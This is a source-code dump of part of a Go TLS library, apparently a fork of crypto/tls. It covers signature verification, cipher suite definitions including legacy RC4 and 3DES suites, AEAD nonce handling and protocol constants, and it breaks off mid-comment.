fallback", alertUserCanceled: "user canceled", alertNoRenegotiation: "no renegotiation", alertMissingExtension: "missing extension", alertUnsupportedExtension: "unsupported extension", alertUnrecognizedName: "unrecognized name", alertNoApplicationProtocol: "no application protocol", } func (e alert) String() string { s, ok := alertText[e] if ok { return "tls: " + s } return "tls: alert(" + strconv.Itoa(int(e)) + ")" } func (e alert) Error() string { return e.String() } ================================================ FILE: tls/auth.go ================================================ // Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "crypto" "crypto/ecdsa" "crypto/ed25519" "crypto/elliptic" "crypto/rsa" "encoding/asn1" "errors" "fmt" ) // verifyHandshakeSignature verifies a signature against pre-hashed // (if required) handshake contents. func verifyHandshakeSignature(sigType uint8, pubkey crypto.PublicKey, hashFunc crypto.Hash, signed, sig []byte) error { switch sigType { case signatureECDSA: pubKey, ok := pubkey.(*ecdsa.PublicKey) if !ok { return fmt.Errorf("expected an ECDSA public key, got %T", pubkey) } ecdsaSig := new(ecdsaSignature) if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil { return err } if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 { return errors.New("ECDSA signature contained zero or negative values") } if !ecdsa.Verify(pubKey, signed, ecdsaSig.R, ecdsaSig.S) { return errors.New("ECDSA verification failure") } case signatureEd25519: pubKey, ok := pubkey.(ed25519.PublicKey) if !ok { return fmt.Errorf("expected an Ed25519 public key, got %T", pubkey) } if !ed25519.Verify(pubKey, signed, sig) { return errors.New("Ed25519 verification failure") } case signaturePKCS1v15: pubKey, ok := pubkey.(*rsa.PublicKey) if !ok { return fmt.Errorf("expected an RSA public key, got %T", pubkey) } if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, signed, sig); err != nil { return err } case signatureRSAPSS: pubKey, ok := pubkey.(*rsa.PublicKey) if !ok { return fmt.Errorf("expected an RSA public key, got %T", pubkey) } signOpts := &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash} if err := rsa.VerifyPSS(pubKey, hashFunc, signed, sig, signOpts); err != nil { return err } default: return errors.New("internal error: unknown signature type") } return nil } // typeAndHashFromSignatureScheme returns the corresponding signature type and // crypto.Hash for a given TLS SignatureScheme. func typeAndHashFromSignatureScheme(signatureAlgorithm SignatureScheme) (sigType uint8, hash crypto.Hash, err error) { switch signatureAlgorithm { case PKCS1WithSHA1, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512: sigType = signaturePKCS1v15 case PSSWithSHA256, PSSWithSHA384, PSSWithSHA512: sigType = signatureRSAPSS case ECDSAWithSHA1, ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512: sigType = signatureECDSA case Ed25519: sigType = signatureEd25519 default: return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm) } switch signatureAlgorithm { case PKCS1WithSHA1, ECDSAWithSHA1: hash = crypto.SHA1 case PKCS1WithSHA256, PSSWithSHA256, ECDSAWithP256AndSHA256: hash = crypto.SHA256 case PKCS1WithSHA384, PSSWithSHA384, ECDSAWithP384AndSHA384: hash = crypto.SHA384 case PKCS1WithSHA512, PSSWithSHA512, ECDSAWithP521AndSHA512: hash = crypto.SHA512 case Ed25519: hash = directSigning default: return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm) } return sigType, hash, nil } // legacyTypeAndHashFromPublicKey returns the fixed signature type and crypto.Hash for // a given public key used with TLS 1.0 and 1.1, before the introduction of // signature algorithm negotiation. func legacyTypeAndHashFromPublicKey(pub crypto.PublicKey) (sigType uint8, hash crypto.Hash, err error) { switch pub.(type) { case *rsa.PublicKey: return signaturePKCS1v15, crypto.MD5SHA1, nil case *ecdsa.PublicKey: return signatureECDSA, crypto.SHA1, nil case ed25519.PublicKey: // RFC 8422 specifies support for Ed25519 in TLS 1.0 and 1.1, // but it requires holding on to a handshake transcript to do a // full signature, and not even OpenSSL bothers with the // complexity, so we can't even test it properly. return 0, 0, fmt.Errorf("tls: Ed25519 public keys are not supported before TLS 1.2") default: return 0, 0, fmt.Errorf("tls: unsupported public key: %T", pub) } } var rsaSignatureSchemes = []struct { scheme SignatureScheme minModulusBytes int maxVersion uint16 }{ // RSA-PSS is used with PSSSaltLengthEqualsHash, and requires // emLen >= hLen + sLen + 2 {PSSWithSHA256, crypto.SHA256.Size()*2 + 2, VersionTLS12}, {PSSWithSHA384, crypto.SHA384.Size()*2 + 2, VersionTLS12}, {PSSWithSHA512, crypto.SHA512.Size()*2 + 2, VersionTLS12}, // PKCS#1 v1.5 uses prefixes from hashPrefixes in crypto/rsa, and requires // emLen >= len(prefix) + hLen + 11 // TLS 1.3 dropped support for PKCS#1 v1.5 in favor of RSA-PSS. {PKCS1WithSHA256, 19 + crypto.SHA256.Size() + 11, VersionTLS12}, {PKCS1WithSHA384, 19 + crypto.SHA384.Size() + 11, VersionTLS12}, {PKCS1WithSHA512, 19 + crypto.SHA512.Size() + 11, VersionTLS12}, {PKCS1WithSHA1, 15 + crypto.SHA1.Size() + 11, VersionTLS12}, } // signatureSchemesForCertificate returns the list of supported SignatureSchemes // for a given certificate, based on the public key and the protocol version, // and optionally filtered by its explicit SupportedSignatureAlgorithms. // // This function must be kept in sync with supportedSignatureAlgorithms. func signatureSchemesForCertificate(version uint16, cert *Certificate) []SignatureScheme { priv, ok := cert.PrivateKey.(crypto.Signer) if !ok { return nil } var sigAlgs []SignatureScheme switch pub := priv.Public().(type) { case *ecdsa.PublicKey: // In TLS 1.2 and earlier, ECDSA algorithms are not // constrained to a single curve. sigAlgs = []SignatureScheme{ ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, ECDSAWithSHA1, } break case *rsa.PublicKey: size := pub.Size() sigAlgs = make([]SignatureScheme, 0, len(rsaSignatureSchemes)) for _, candidate := range rsaSignatureSchemes { if size >= candidate.minModulusBytes && version <= candidate.maxVersion { sigAlgs = append(sigAlgs, candidate.scheme) } } case ed25519.PublicKey: sigAlgs = []SignatureScheme{Ed25519} default: return nil } if cert.SupportedSignatureAlgorithms != nil { var filteredSigAlgs []SignatureScheme for _, sigAlg := range sigAlgs { if isSupportedSignatureAlgorithm(sigAlg, cert.SupportedSignatureAlgorithms) { filteredSigAlgs = append(filteredSigAlgs, sigAlg) } } return filteredSigAlgs } return sigAlgs } // selectSignatureScheme picks a SignatureScheme from the peer's preference list // that works with the selected certificate. It's only called for protocol // versions that support signature algorithms, so TLS 1.2 and 1.3. func selectSignatureScheme(vers uint16, c *Certificate, peerAlgs []SignatureScheme) (SignatureScheme, error) { supportedAlgs := signatureSchemesForCertificate(vers, c) if len(supportedAlgs) == 0 { return 0, unsupportedCertificateError(c) } if len(peerAlgs) == 0 && vers == VersionTLS12 { // For TLS 1.2, if the client didn't send signature_algorithms then we // can assume that it supports SHA1. See RFC 5246, Section 7.4.1.4.1. peerAlgs = []SignatureScheme{PKCS1WithSHA1, ECDSAWithSHA1} } // Pick signature scheme in the peer's preference order, as our // preference order is not configurable. for _, preferredAlg := range peerAlgs { if isSupportedSignatureAlgorithm(preferredAlg, supportedAlgs) { return preferredAlg, nil } } return 0, errors.New("tls: peer doesn't support any of the certificate's signature algorithms") } // unsupportedCertificateError returns a helpful error for certificates with // an unsupported private key. func unsupportedCertificateError(cert *Certificate) error { switch cert.PrivateKey.(type) { case rsa.PrivateKey, ecdsa.PrivateKey: return fmt.Errorf("tls: unsupported certificate: private key is %T, expected *%T", cert.PrivateKey, cert.PrivateKey) case *ed25519.PrivateKey: return fmt.Errorf("tls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKey") } signer, ok := cert.PrivateKey.(crypto.Signer) if !ok { return fmt.Errorf("tls: certificate private key (%T) does not implement crypto.Signer", cert.PrivateKey) } switch pub := signer.Public().(type) { case *ecdsa.PublicKey: switch pub.Curve { case elliptic.P256(): case elliptic.P384(): case elliptic.P521(): default: return fmt.Errorf("tls: unsupported certificate curve (%s)", pub.Curve.Params().Name) } case *rsa.PublicKey: return fmt.Errorf("tls: certificate RSA key size too small for supported signature algorithms") case ed25519.PublicKey: default: return fmt.Errorf("tls: unsupported certificate key (%T)", pub) } if cert.SupportedSignatureAlgorithms != nil { return fmt.Errorf("tls: peer doesn't support the certificate custom signature algorithms") } return fmt.Errorf("tls: internal error: unsupported key (%T)", cert.PrivateKey) } ================================================ FILE: tls/cipher_suites.go ================================================ // Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "crypto/aes" "crypto/cipher" "crypto/des" "crypto/hmac" "crypto/rc4" "crypto/sha1" "crypto/sha256" "crypto/x509" "hash" "golang.org/x/crypto/chacha20poly1305" ) // CipherSuite is a TLS cipher suite. Note that most functions in this package // accept and expose cipher suite IDs instead of this type. type CipherSuite struct { ID uint16 Name string // Supported versions is the list of TLS protocol versions that can // negotiate this cipher suite. SupportedVersions []uint16 // Insecure is true if the cipher suite has known security issues // due to its primitives, design, or implementation. Insecure bool } // a keyAgreement implements the client and server side of a TLS key agreement // protocol by generating and processing key exchange messages. type keyAgreement interface { // On the server side, the first two methods are called in order. // In the case that the key agreement protocol doesn't use a // ServerKeyExchange message, generateServerKeyExchange can return nil, // nil. generateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error) processClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error) // On the client side, the next two methods are called in order. // This method may not be called if the server doesn't send a // ServerKeyExchange message. processServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error generateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) } const ( // suiteECDHE indicates that the cipher suite involves elliptic curve // Diffie-Hellman. This means that it should only be selected when the // client indicates that it supports ECC with a curve and point format // that we're happy with. suiteECDHE = 1 << iota // suiteECSign indicates that the cipher suite involves an ECDSA or // EdDSA signature and therefore may only be selected when the server's // certificate is ECDSA or EdDSA. If this is not set then the cipher suite // is RSA based. suiteECSign // suiteTLS12 indicates that the cipher suite should only be advertised // and accepted when using TLS 1.2. suiteTLS12 // suiteSHA384 indicates that the cipher suite uses SHA384 as the // handshake hash. suiteSHA384 // suiteDefaultOff indicates that this cipher suite is not included by // default. suiteDefaultOff ) // A cipherSuite is a specific combination of key agreement, cipher and MAC function. type cipherSuite struct { id uint16 // the lengths, in bytes, of the key material needed for each component. keyLen int macLen int ivLen int ka func(version uint16) keyAgreement // flags is a bitmask of the suite* values, above. flags int cipher func(key, iv []byte, isRead bool) interface{} mac func(version uint16, macKey []byte) macFunction aead func(key, fixedNonce []byte) aead } var cipherSuites = []*cipherSuite{ // Ciphersuite order is chosen so that ECDHE comes before plain RSA and // AEADs are the top preference. {TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadChaCha20Poly1305}, {TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadChaCha20Poly1305}, {TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM}, {TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadAESGCM}, {TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, {TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, {TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, {TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil}, {TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, {TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil}, {TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil}, {TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil}, {TLS_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, rsaKA, suiteTLS12, nil, nil, aeadAESGCM}, {TLS_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, rsaKA, suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, {TLS_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, rsaKA, suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, {TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil}, {TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil}, {TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil}, {TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil}, // RC4-based cipher suites are disabled by default. {TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, suiteDefaultOff, cipherRC4, macSHA1, nil}, {TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE | suiteDefaultOff, cipherRC4, macSHA1, nil}, {TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteDefaultOff, cipherRC4, macSHA1, nil}, } func cipherRC4(key, iv []byte, isRead bool) interface{} { cipher, _ := rc4.NewCipher(key) return cipher } func cipher3DES(key, iv []byte, isRead bool) interface{} { block, _ := des.NewTripleDESCipher(key) if isRead { return cipher.NewCBCDecrypter(block, iv) } return cipher.NewCBCEncrypter(block, iv) } func cipherAES(key, iv []byte, isRead bool) interface{} { block, _ := aes.NewCipher(key) if isRead { return cipher.NewCBCDecrypter(block, iv) } return cipher.NewCBCEncrypter(block, iv) } // macSHA1 returns a macFunction for the given protocol version. func macSHA1(version uint16, key []byte) macFunction { return tls10MAC{h: hmac.New(newConstantTimeHash(sha1.New), key)} } // macSHA256 returns a SHA-256 based MAC. These are only supported in TLS 1.2 // so the given version is ignored. func macSHA256(version uint16, key []byte) macFunction { return tls10MAC{h: hmac.New(sha256.New, key)} } type macFunction interface { // Size returns the length of the MAC. Size() int // MAC appends the MAC of (seq, header, data) to out. The extra data is fed // into the MAC after obtaining the result to normalize timing. The result // is only valid until the next invocation of MAC as the buffer is reused. MAC(seq, header, data, extra []byte) []byte } type aead interface { cipher.AEAD // explicitNonceLen returns the number of bytes of explicit nonce // included in each record. This is eight for older AEADs and // zero for modern ones. explicitNonceLen() int } const ( aeadNonceLength = 12 noncePrefixLength = 4 ) // prefixNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to // each call. type prefixNonceAEAD struct { // nonce contains the fixed part of the nonce in the first four bytes. nonce [aeadNonceLength]byte aead cipher.AEAD } func (f *prefixNonceAEAD) NonceSize() int { return aeadNonceLength - noncePrefixLength } func (f *prefixNonceAEAD) Overhead() int { return f.aead.Overhead() } func (f *prefixNonceAEAD) explicitNonceLen() int { return f.NonceSize() } func (f *prefixNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte { copy(f.nonce[4:], nonce) return f.aead.Seal(out, f.nonce[:], plaintext, additionalData) } func (f *prefixNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) { copy(f.nonce[4:], nonce) return f.aead.Open(out, f.nonce[:], ciphertext, additionalData) } // xoredNonceAEAD wraps an AEAD by XORing in a fixed pattern to the nonce // before each call. type xorNonceAEAD struct { nonceMask [aeadNonceLength]byte aead cipher.AEAD } func (f *xorNonceAEAD) NonceSize() int { return 8 } // 64-bit sequence number func (f *xorNonceAEAD) Overhead() int { return f.aead.Overhead() } func (f *xorNonceAEAD) explicitNonceLen() int { return 0 } func (f *xorNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte { for i, b := range nonce { f.nonceMask[4+i] ^= b } result := f.aead.Seal(out, f.nonceMask[:], plaintext, additionalData) for i, b := range nonce { f.nonceMask[4+i] ^= b } return result } func (f *xorNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) { for i, b := range nonce { f.nonceMask[4+i] ^= b } result, err := f.aead.Open(out, f.nonceMask[:], ciphertext, additionalData) for i, b := range nonce { f.nonceMask[4+i] ^= b } return result, err } func aeadAESGCM(key, noncePrefix []byte) aead { if len(noncePrefix) != noncePrefixLength { panic("tls: internal error: wrong nonce length") } aes, err := aes.NewCipher(key) if err != nil { panic(err) } aead, err := cipher.NewGCM(aes) if err != nil { panic(err) } ret := &prefixNonceAEAD{aead: aead} copy(ret.nonce[:], noncePrefix) return ret } func aeadChaCha20Poly1305(key, nonceMask []byte) aead { if len(nonceMask) != aeadNonceLength { panic("tls: internal error: wrong nonce length") } aead, err := chacha20poly1305.New(key) if err != nil { panic(err) } ret := &xorNonceAEAD{aead: aead} copy(ret.nonceMask[:], nonceMask) return ret } type constantTimeHash interface { hash.Hash ConstantTimeSum(b []byte) []byte } // cthWrapper wraps any hash.Hash that implements ConstantTimeSum, and replaces // with that all calls to Sum. It's used to obtain a ConstantTimeSum-based HMAC. type cthWrapper struct { h constantTimeHash } func (c *cthWrapper) Size() int { return c.h.Size() } func (c *cthWrapper) BlockSize() int { return c.h.BlockSize() } func (c *cthWrapper) Reset() { c.h.Reset() } func (c *cthWrapper) Write(p []byte) (int, error) { return c.h.Write(p) } func (c *cthWrapper) Sum(b []byte) []byte { return c.h.ConstantTimeSum(b) } func newConstantTimeHash(h func() hash.Hash) func() hash.Hash { return func() hash.Hash { return &cthWrapper{h().(constantTimeHash)} } } // tls10MAC implements the TLS 1.0 MAC function. RFC 2246, Section 6.2.3. type tls10MAC struct { h hash.Hash buf []byte } func (s tls10MAC) Size() int { return s.h.Size() } // MAC is guaranteed to take constant time, as long as // len(seq)+len(header)+len(data)+len(extra) is constant. extra is not fed into // the MAC, but is only provided to make the timing profile constant. func (s tls10MAC) MAC(seq, header, data, extra []byte) []byte { s.h.Reset() s.h.Write(seq) s.h.Write(header) s.h.Write(data) res := s.h.Sum(s.buf[:0]) if extra != nil { s.h.Write(extra) } return res } func rsaKA(version uint16) keyAgreement { return rsaKeyAgreement{} } func ecdheECDSAKA(version uint16) keyAgreement { return &ecdheKeyAgreement{ isRSA: false, version: version, } } func ecdheRSAKA(version uint16) keyAgreement { return &ecdheKeyAgreement{ isRSA: true, version: version, } } // mutualCipherSuite returns a cipherSuite given a list of supported // ciphersuites and the id requested by the peer. func mutualCipherSuite(have []uint16, want uint16) *cipherSuite { for _, id := range have { if id == want { return cipherSuiteByID(id) } } return nil } func cipherSuiteByID(id uint16) *cipherSuite { for _, cipherSuite := range cipherSuites { if cipherSuite.id == id { return cipherSuite } } return nil } // A list of cipher suite IDs that are, or have been, implemented by this // package. // // See https://www.iana.org/assignments/tls-parameters/tls-parameters.xml const ( // TLS 1.0 - 1.2 cipher suites. TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005 TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035 TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003c TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009c TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009d TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc023 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc027 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc030 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc02c TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca8 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9 // Legacy names for the corresponding cipher suites with the correct _SHA256 // suffix, retained for backward compatibility. TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 ) ================================================ FILE: tls/common.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "bytes" "crypto" "crypto/rand" "crypto/sha512" "crypto/x509" "errors" "fmt" "io" "math/big" "net" "sync" "time" ) const ( VersionTLS10 = 0x0301 VersionTLS11 = 0x0302 VersionTLS12 = 0x0303 ) const ( maxPlaintext = 16384 // maximum plaintext payload length recordHeaderLen = 5 // record header length maxHandshake = 65536 // maximum handshake we support (protocol max is 16 MB) maxUselessRecords = 16 // maximum number of consecutive non-advancing records ) // TLS record types. type recordType uint8 const ( recordTypeChangeCipherSpec recordType = 20 recordTypeAlert recordType = 21 recordTypeHandshake recordType = 22 recordTypeApplicationData recordType = 23 ) // TLS handshake message types. const ( typeHelloRequest uint8 = 0 typeClientHello uint8 = 1 typeServerHello uint8 = 2 typeNewSessionTicket uint8 = 4 typeEndOfEarlyData uint8 = 5 typeEncryptedExtensions uint8 = 8 typeCertificate uint8 = 11 typeServerKeyExchange uint8 = 12 typeCertificateRequest uint8 = 13 typeServerHelloDone uint8 = 14 typeCertificateVerify uint8 = 15 typeClientKeyExchange uint8 = 16 typeFinished uint8 = 20 typeCertificateStatus uint8 = 22 typeKeyUpdate uint8 = 24 ) // TLS compression types. const ( compressionNone uint8 = 0 ) // TLS extension numbers const ( extensionServerName uint16 = 0 extensionStatusRequest uint16 = 5 extensionSupportedCurves uint16 = 10 // supported_groups in TLS 1.3, see RFC 8446, Section 4.2.7 extensionSupportedPoints uint16 = 11 extensionSignatureAlgorithms uint16 = 13 extensionALPN uint16 = 16 extensionSCT uint16 = 18 extensionSessionTicket uint16 = 35 extensionPreSharedKey uint16 = 41 extensionEarlyData uint16 = 42 extensionSupportedVersions uint16 = 43 extensionCookie uint16 = 44 extensionPSKModes uint16 = 45 extensionCertificateAuthorities uint16 = 47 extensionSignatureAlgorithmsCert uint16 = 50 extensionKeyShare uint16 = 51 extensionRenegotiationInfo uint16 = 0xff01 ) // TLS signaling cipher suite values const ( scsvRenegotiation uint16 = 0x00ff ) // CurveID is the type of a TLS identifier for an elliptic curve. See // https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8. // // In TLS 1.3, this type is called NamedGroup, but at this time this library // only supports Elliptic Curve based groups. See RFC 8446, Section 4.2.7. type CurveID uint16 const ( CurveP256 CurveID = 23 CurveP384 CurveID = 24 CurveP521 CurveID = 25 X25519 CurveID = 29 ) // TLS 1.3 Key Share. See RFC 8446, Section 4.2.8. type keyShare struct { group CurveID data []byte } // TLS Elliptic Curve Point Formats // https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9 const ( pointFormatUncompressed uint8 = 0 ) // TLS CertificateStatusType (RFC 3546) const ( statusTypeOCSP uint8 = 1 ) // Certificate types (for certificateRequestMsg) const ( certTypeRSASign = 1 certTypeECDSASign = 64 // ECDSA or EdDSA keys, see RFC 8422, Section 3. ) // Signature algorithms (for internal signaling use). Starting at 225 to avoid overlap with // TLS 1.2 codepoints (RFC 5246, Appendix A.4.1), with which these have nothing to do. const ( signaturePKCS1v15 uint8 = iota + 225 signatureRSAPSS signatureECDSA signatureEd25519 ) // directSigning is a standard Hash value that signals that no pre-hashing // should be performed, and that the input should be signed directly. It is the // hash function associated with the Ed25519 signature scheme. var directSigning crypto.Hash = 0 // supportedSignatureAlgorithms contains the signature and hash algorithms that // the code advertises as supported in a TLS 1.2+ ClientHello and in a TLS 1.2+ // CertificateRequest. The two fields are merged to match with TLS 1.3. // Note that in TLS 1.2, the ECDSA algorithms are not constrained to P-256, etc. var supportedSignatureAlgorithms = []SignatureScheme{ PSSWithSHA256, ECDSAWithP256AndSHA256, Ed25519, PSSWithSHA384, PSSWithSHA512, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, PKCS1WithSHA1, ECDSAWithSHA1, } // ConnectionState records basic TLS details about the connection. type ConnectionState struct { Version uint16 // TLS version used by the connection (e.g. VersionTLS12) HandshakeComplete bool // TLS handshake is complete DidResume bool // connection resumes a previous TLS connection CipherSuite uint16 // cipher suite in use (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, ...) NegotiatedProtocol string // negotiated next protocol (not guaranteed to be from Config.NextProtos) NegotiatedProtocolIsMutual bool // negotiated protocol was advertised by server (client side only) ServerName string // server name requested by client, if any (server side only) PeerCertificates []*x509.Certificate // certificate chain presented by remote peer VerifiedChains [][]*x509.Certificate // verified chains built from PeerCertificates SignedCertificateTimestamps [][]byte // SCTs from the peer, if any OCSPResponse []byte // stapled OCSP response from peer, if any // ekm is a closure exposed via ExportKeyingMaterial. ekm func(label string, context []byte, length int) ([]byte, error) // TLSUnique contains the "tls-unique" channel binding value (see RFC // 5929, section 3). For resumed sessions this value will be nil // because resumption does not include enough context (see // https://mitls.org/pages/attacks/3SHAKE#channelbindings). This will // change in future versions of Go once the TLS master-secret fix has // been standardized and implemented. It is not defined in TLS 1.3. TLSUnique []byte } // ExportKeyingMaterial returns length bytes of exported key material in a new // slice as defined in RFC 5705. If context is nil, it is not used as part of // the seed. If the connection was set to allow renegotiation via // Config.Renegotiation, this function will return an error. func (cs *ConnectionState) ExportKeyingMaterial(label string, context []byte, length int) ([]byte, error) { return cs.ekm(label, context, length) } // ClientSessionState contains the state needed by clients to resume TLS // sessions. type ClientSessionState struct { sessionTicket []uint8 // Encrypted ticket used for session resumption with server vers uint16 // TLS version negotiated for the session cipherSuite uint16 // Ciphersuite negotiated for the session masterSecret []byte // Full handshake MasterSecret, or TLS 1.3 resumption_master_secret serverCertificates []*x509.Certificate // Certificate chain presented by the server verifiedChains [][]*x509.Certificate // Certificate chains we built for verification receivedAt time.Time // When the session ticket was received from the server // TLS 1.3 fields. nonce []byte // Ticket nonce sent by the server, to derive PSK useBy time.Time // Expiration of the ticket lifetime as set by the server ageAdd uint32 // Random obfuscation factor for sending the ticket age } // ClientSessionCache is a cache of ClientSessionState objects that can be used // by a client to resume a TLS session with a given server. ClientSessionCache // implementations should expect to be called concurrently from different // goroutines. Up to TLS 1.2, only ticket-based resumption is supported, not // SessionID-based resumption. In TLS 1.3 they were merged into PSK modes, which // are supported via this interface. type ClientSessionCache interface { // Get searches for a ClientSessionState associated with the given key. // On return, ok is true if one was found. Get(sessionKey string) (session *ClientSessionState, ok bool) // Put adds the ClientSessionState to the cache with the given key. It might // get called multiple times in a connection if a TLS 1.3 server provides // more than one session ticket. If called with a nil *ClientSessionState, // it should remove the cache entry. Put(sessionKey string, cs *ClientSessionState) } // SignatureScheme identifies a signature algorithm supported by TLS. See // RFC 8446, Section 4.2.3. type SignatureScheme uint16 const ( // RSASSA-PKCS1-v1_5 algorithms. PKCS1WithSHA256 SignatureScheme = 0x0401 PKCS1WithSHA384 SignatureScheme = 0x0501 PKCS1WithSHA512 SignatureScheme = 0x0601 // RSASSA-PSS algorithms with public key OID rsaEncryption. PSSWithSHA256 SignatureScheme = 0x0804 PSSWithSHA384 SignatureScheme = 0x0805 PSSWithSHA512 SignatureScheme = 0x0806 // ECDSA algorithms. Only constrained to a specific curve in TLS 1.3. ECDSAWithP256AndSHA256 SignatureScheme = 0x0403 ECDSAWithP384AndSHA384 SignatureScheme = 0x0503 ECDSAWithP521AndSHA512 SignatureScheme = 0x0603 // EdDSA algorithms. Ed25519 SignatureScheme = 0x0807 // Legacy signature and hash algorithms for TLS 